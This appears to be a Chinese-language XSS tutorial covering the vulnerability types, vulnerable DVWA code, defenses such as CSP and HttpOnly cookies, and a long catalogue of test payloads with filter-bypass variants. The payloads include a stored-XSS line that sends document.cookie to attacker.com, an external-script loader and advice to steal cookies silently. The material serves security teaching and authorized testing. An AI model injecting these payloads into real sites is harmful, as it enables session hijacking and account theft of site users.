本文所有知识点均用于网络安全防御技术学习 ,攻击手段仅可在合法授权的测试环境 中使用。未经授权侵入他人系统、窃取信息属违法行为,将承担相应法律责任。网络安全的核心是 "攻防兼备",掌握攻击手段的同时,更要牢记防护使命,共同维护网络空间安全。
目录
[一、XSS 漏洞基础认知](#一、XSS 漏洞基础认知)
[1. 核心定义](#1. 核心定义)
[2. 核心依赖技术](#2. 核心依赖技术)
[3. 攻击危害](#3. 攻击危害)
[二、XSS 漏洞三大分类(核心重点)](#二、XSS 漏洞三大分类(核心重点))
[1. 分类对比总表](#1. 分类对比总表)
[2. 各类型攻击流程](#2. 各类型攻击流程)
[(1)反射型 XSS 攻击流程](#(1)反射型 XSS 攻击流程)
[(2)存储型 XSS 攻击流程](#(2)存储型 XSS 攻击流程)
[(3)DOM 型 XSS 攻击流程](#(3)DOM 型 XSS 攻击流程)
[3. 源码分析示例](#3. 源码分析示例)
[(1)反射型 XSS(DVWA 示例)](#(1)反射型 XSS(DVWA 示例))
[(2)存储型 XSS(DVWA 示例)](#(2)存储型 XSS(DVWA 示例))
[三、XSS 漏洞挖掘与利用](#三、XSS 漏洞挖掘与利用)
[1. 手工挖掘步骤](#1. 手工挖掘步骤)
[2. 常见 POC 测试代码](#2. 常见 POC 测试代码)
[3. 常见绕过技巧](#3. 常见绕过技巧)
[四、XSS 漏洞防御方案](#四、XSS 漏洞防御方案)
[1. 防御体系总览](#1. 防御体系总览)
[2. 核心防御手段详解](#2. 核心防御手段详解)
[五、XSS 漏洞测试 POC 大全:分类、场景与绕过方案](#五、XSS 漏洞测试 POC 大全:分类、场景与绕过方案)
[1、基础验证类 POC(通用检测)](#1、基础验证类 POC(通用检测))
[2、按 XSS 类型分类 POC](#2、按 XSS 类型分类 POC)
[2.1. 反射型 XSS 专用 POC](#2.1. 反射型 XSS 专用 POC)
[2.2. 存储型 XSS 专用 POC](#2.2. 存储型 XSS 专用 POC)
[2.3. DOM 型 XSS 专用 POC](#2.3. DOM 型 XSS 专用 POC)
[3、绕过过滤类 POC(进阶)](#3、绕过过滤类 POC(进阶))
[3.1. 关键词过滤绕过](#3.1. 关键词过滤绕过)
[3.2. 字符编码绕过](#3.2. 字符编码绕过)
[3.3. 特殊字符与逻辑绕过](#3.3. 特殊字符与逻辑绕过)
[4.1. POC 生成与测试工具](#4.1. POC 生成与测试工具)
[4.2. 实战注意事项](#4.2. 实战注意事项)
[5、POC 使用风险提示](#5、POC 使用风险提示)
一、XSS 漏洞基础认知
1. 核心定义
XSS(Cross Site Script)即跨站脚本攻击,是 Web 应用中常见的安全漏洞。攻击者将恶意脚本(多为 JavaScript)植入网站页面,当用户访问页面时,脚本被浏览器执行,从而实现窃取信息、劫持会话等攻击目的。其本质是恶意代码未经过滤与正常代码混合执行,浏览器无法区分脚本可信度。
2. 核心依赖技术
| 技术类型 | 核心作用 | 关键知识点 |
|---|---|---|
| HTML | 页面结构载体 | 支持表单提交、标签嵌套,单标签(<img/>)、双标签(<script></script>)均可作为注入入口 |
| JavaScript | 恶意行为实现 | 可操作 DOM、获取 Cookie、发起请求,核心弹框函数:alert ()、confirm ()、prompt () |
| Cookie/Session | 会话跟踪 | Cookie 存储在客户端(4KB 限制),Session 存储在服务器,均为 XSS 攻击常见目标 |
3. 攻击危害
- 基础危害:页面弹框骚扰、刷流量、网站挂马
- 核心危害:Cookie 盗取、会话劫持、账号被盗、用户提权
- 高级危害:DDOS 攻击、蠕虫传播(如新浪微博 XSS 蠕虫)、键盘监控、钓鱼诱导
二、XSS 漏洞三大分类(核心重点)
1. 分类对比总表
| 分类 | 别名 | 产生层面 | 存储特性 | 触发条件 | 危害等级 | 典型场景 |
|---|---|---|---|---|---|---|
| 反射型 XSS | 非持续型、参数型 | 前端 | 不存储 | 用户点击恶意 URL | 中 | 搜索框、URL 参数传递 |
| 存储型 XSS | 持续型 | 后端 | 存储于数据库 | 访问含恶意代码页面 | 高 | 留言板、评论区、博客日志 |
| DOM 型 XSS | 前端型 | 前端 | 不存储 | 浏览器解析 DOM | 中 | 基于 JS 动态渲染的页面 |
2. 各类型攻击流程
(1)反射型 XSS 攻击流程

(2)存储型 XSS 攻击流程

(3)DOM 型 XSS 攻击流程

3. 源码分析示例
(1)反射型 XSS(DVWA 示例)
php
// 核心问题:未过滤用户输入
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
(2)存储型 XSS(DVWA 示例)
php
// 核心问题:仅过滤SQL注入,未过滤XSS代码
$message = stripslashes($_POST['mtxMessage']);
$message = mysql_real_escape_string($message); // 仅防SQL注入
$query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name')";
三、XSS 漏洞挖掘与利用
1. 手工挖掘步骤

2. 常见 POC 测试代码
| 标签类型 | 核心 POC 代码 | 适用场景 |
|---|---|---|
| <script> | <script>alert(1)</script> | 无过滤的输入框、URL 参数 |
| <script src=http://xxx/xss.js\></script> | 需要加载外部恶意脚本时 | |
| <img> | <img src=x οnerrοr=alert('xss')> | 单标签注入场景(如头像评论) |
| <img src=# οnmοuseοver="alert(1)"> | 触发鼠标悬浮事件 | |
| <a> | <a href=javascript:alert ('xss')> 点击</a> | 超链接跳转场景 |
| <input> | <input οnclick=alert(3) value="点击测试"> | 表单元素注入 |
3. 常见绕过技巧
| 绕过类型 | 方法示例 | 原理 |
|---|---|---|
| 大小写绕过 | <ScRiPt>alert(1)</ScRiPt> | HTML 标签大小写不敏感 |
| 双写绕过 | <sc<script>ript>alert(/xss/)</script> | 绕过简单关键词过滤 |
| 标签闭合绕过 | "><script>alert(1)</script> | 闭合原有标签,插入新脚本 |
| 编码绕过 | 十六进制编码:<img src=x οnerrοr=alert(1)> | 绕过字符检测,浏览器自动解码 |
| 混淆绕过 | 插入空格 / 回车:<img src=x οnerrοr=alert(1)> | 绕过严格的格式检测 |
四、XSS 漏洞防御方案
1. 防御体系总览
| 防御层面 | 核心措施 | 具体实现 |
|---|---|---|
| 前端防御 | 输入验证、JS 过滤 | 限制输入长度,过滤特殊标签关键词 |
| 后端防御 | 输出编码、数据过滤 | HTML 实体编码(<→<),白名单验证 |
| 环境防御 | CSP 策略、HttpOnly 标记 | 禁止外域脚本,保护 Cookie 不被读取 |
| 硬件防御 | WAF 部署 | 拦截已知 XSS 攻击特征 |
2. 核心防御手段详解
- CSP 内容安全策略
- 禁止加载外域代码,防止复杂攻击逻辑
- 禁止内联脚本执行(如 GitHub 采用),限制未授权脚本运行
- HttpOnly Cookie 设置
- 为 Cookie 添加 HttpOnly 属性,阻止 JavaScript 获取,从根源防止 Cookie 被盗
- 输入输出双验证
- 输入验证:优先白名单(仅允许指定字符 / 格式),黑名单辅助(过滤<script>、onerror 等)
- 输出编码:所有用户输入内容输出前进行 HTML 编码,转换特殊字符
五、XSS 漏洞测试 POC 大全:分类、场景与绕过方案
1、基础验证类 POC(通用检测)
此类 POC 用于快速验证 XSS 漏洞是否存在,核心通过弹窗函数触发可视化反馈,适用于反射型、存储型、DOM 型 XSS 的初步检测。
| 功能类型 | POC 代码 | 适用场景 | 注意事项 |
|---|---|---|---|
| 基础弹窗 | <script>alert(1)</script> |
无过滤的输入框、URL 参数、留言板 | 现代浏览器可能拦截innerHTML插入的<script>标签,优先用于服务端直接输出场景 |
| 确认弹窗 | <script>confirm('XSS验证')</script> |
需用户交互确认的场景,避免误判 | 弹窗含 "确定 / 取消" 按钮,可辅助区分真实漏洞与误报 |
| 输入弹窗 | <script>prompt('请输入', 'XSS')</script> |
需获取用户输入的测试(如模拟钓鱼) | 可用于验证脚本执行时的交互能力 |
| 单标签弹窗 | <img src=x onerror=alert(1)> |
过滤<script>标签但允许<img>的场景 |
src=x为无效值,触发onerror事件执行脚本,兼容性强 |
| 超链接触发 | <a href=javascript:alert(1)>点击测试</a> |
输入内容被渲染为超链接的场景(如评论区链接) | 需用户点击链接触发,适用于href属性未过滤的情况 |
2、按 XSS 类型分类 POC
2.1. 反射型 XSS 专用 POC
反射型 XSS 依赖 URL 参数或表单提交,POC 需适配 "参数拼接" 场景,常见于搜索框、登录页、URL 参数回显等位置。
| 应用场景 | POC 代码 | 原理说明 |
|---|---|---|
| GET 参数注入 | http://target.com/search?key="><script>alert(1)</script> |
闭合 URL 参数原有引号,插入脚本标签,服务端拼接后返回执行 |
| 表单提交注入 | "><script>alert(document.domain)</script> |
表单输入框中闭合value属性(如value="注入内容"),提交后服务端直接输出 |
| 事件触发绕过 | <input type=text onfocus=alert(1) autofocus> |
利用autofocus自动获取焦点,触发onfocus事件,适用于过滤<script>但允许事件属性的场景 |
| 多标签组合 | <svg onload=alert(1)> |
SVG 标签支持onload事件,无需用户交互,可绕过部分标签过滤 |
2.2. 存储型 XSS 专用 POC
存储型 XSS 需长期留存于数据库(如留言板、评论区、用户资料),POC 需兼顾 "持久性" 与 "隐蔽性",避免触发网站内容审核。
| 应用场景 | POC 代码 | 原理说明 |
|---|---|---|
| 留言板注入 | <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> |
静默窃取 Cookie 并发送至攻击者服务器,无弹窗避免被发现 |
| 用户资料注入 | <img src=https://attacker.com/avatar.jpg onerror=alert(1)> |
伪装成图片链接,加载失败时触发onerror执行脚本,隐蔽性强 |
| 富文本编辑器注入 | <iframe src="javascript:alert(1)" width=0 height=0></iframe> |
iframe 标签隐藏(宽高为 0),静默执行脚本,适用于富文本未过滤 iframe 的场景 |
| 长文本分段注入 | <div onmouseover=alert(1)>测试内容<br>滚动到此处触发</div> |
利用onmouseover事件,用户滚动到文本位置时触发,避免直接弹窗被拦截 |
2.3. DOM 型 XSS 专用 POC
DOM 型 XSS 由前端 JS 解析触发,不经过服务端,POC 需适配location.hash、document.URL、innerHTML等客户端 API 场景。
| 应用场景 | POC 代码 | 原理说明 |
|---|---|---|
| hash 参数注入 | http://target.com/#<img src=x onerror=alert(1)> |
利用window.location.hash(# 后内容)不发送至服务端的特性,前端 JS 读取后直接渲染 |
| URL 解析注入 | http://target.com/?msg=<script>alert(document.URL)</script> |
前端 JS 通过document.URL获取参数并使用innerHTML渲染,未过滤导致执行 |
| DOM 节点操作 | #' onclick="alert(1)"> |
闭合原有 DOM 标签的单引号,插入onclick事件,点击页面元素时触发(如搜索结果回显) |
| 本地存储注入 | <script>localStorage.setItem('xss', 'alert(1)');eval(localStorage.xss)</script> |
利用localStorage存储脚本,再通过eval执行,适用于依赖本地存储的前端页面 |
3、绕过过滤类 POC(进阶)
针对网站存在的过滤规则(如关键词拦截、字符编码限制),需通过变形、编码、混淆等方式构造 POC。
3.1. 关键词过滤绕过
| 过滤规则 | 绕过 POC | 原理 |
|---|---|---|
过滤<script>标签 |
<sc<script>ript>alert(1)</sc</script>ript> |
双写敏感词,服务端过滤一次后残留有效<script>标签 |
过滤on事件 |
<img src=x oonnerror=alert(1)> |
双写事件属性关键词(如onerror→oonnerror),过滤后恢复正常属性 |
过滤javascript协议 |
<a href=javascript:alert(1)>点击</a> |
HTML 实体编码script中的s(s),浏览器解析时自动解码 |
| 大小写过滤 | <sCrIpT>alert(1)</ScRiPt> |
HTML 标签大小写不敏感,混合大小写绕过黑名单检测 |
3.2. 字符编码绕过
| 编码类型 | 绕过 POC | 适用场景 |
|---|---|---|
| HTML 实体编码 | <img src=x onerror=alert(1)> |
alert函数编码为十进制实体,适用于输出位置支持实体解码的场景 |
| URL 编码 | http://target.com/search?key=%3Cscript%3Ealert(1)%3C/script%3E |
URL 参数编码<→%3C、>→%3E,适用于服务端未解码过滤的情况 |
| Unicode 编码 | <img src=x onerror=\u0061\u006C\u0065\u0072\u0074(1)> |
JavaScript Unicode 编码alert,适用于前端 JS 直接处理输入的场景 |
| Base64 编码 | <script src=data:text/javascript;base64,YWxlcnQoMSk=></script> |
脚本内容 Base64 编码(alert(1)→YWxlcnQoMSk=),绕过文本内容检测 |
3.3. 特殊字符与逻辑绕过
| 过滤场景 | 绕过 POC | 原理 |
|---|---|---|
强制要求含http:// |
<a href=javascript:alert(1)/*http://*/> |
添加注释符/* */包裹http://,满足规则同时执行脚本 |
空格被替换为 |
<img%0Asrc=x%0Aonerror=alert(1)> |
使用换行符(%0A)替代空格,浏览器解析时忽略换行,正常识别属性 |
| 隐藏表单注入 | ?t_sort=" onfocus=alert(1) type="text" |
修改隐藏表单参数(如t_sort),添加type="text"使其可见,onfocus触发脚本 |
| EXIF 信息注入 | (需工具)使用 ExifTool 修改图片元数据:exiftool -Comment='<script>alert(1)</script>' test.jpg |
图片上传功能未过滤 EXIF 信息,上传后页面渲染图片时执行元数据中的脚本 |
4、工具与实战辅助
4.1. POC 生成与测试工具
| 工具名称 | 功能 | 使用场景 |
|---|---|---|
| XSStrike | 自动化生成绕过 POC、检测 XSS 漏洞 | 批量测试 URL 参数、表单输入,支持多种绕过策略 |
| Burp Suite | 拦截请求修改参数,插入 POC | 手动测试表单提交、HTTP 头注入(如 Referer、User-Agent) |
| Tiny XSS Payloads | 精简 POC 集合,含浏览器兼容性标注 | 针对不同浏览器(Chrome/Firefox/Safari)选择有效 POC |
| 在线编码工具 | (如 Matools)转换 HTML/URL/Unicode 编码 | 快速生成编码绕过型 POC,避免手动计算 |
4.2. 实战注意事项
- 隐蔽性优先 :真实测试中避免使用
alert弹窗,优先用fetch或img标签静默发送数据(如窃取 Cookie)。 - 浏览器兼容性 :现代浏览器对
innerHTML插入的<script>标签默认拦截,优先选择<img>、<svg>、<iframe>等标签的事件触发。 - 上下文适配 :根据注入位置调整 POC(如
href属性用javascript:协议,div标签用onmouseover事件)。 - 防御绕过验证 :若网站启用 CSP,可尝试
<style/onload=eval(name)>(需 CSP 允许内联样式)等特殊 POC。
5、POC 使用风险提示
- 仅在授权场景下使用 POC 测试(如自身搭建的靶场、客户授权的渗透测试),禁止未经允许测试第三方网站。
- 避免使用可能破坏业务的 POC(如大面积传播的 XSS 蠕虫、篡改页面内容的脚本)。
- 测试后及时清理存储型 XSS 的 POC 代码,避免影响其他用户。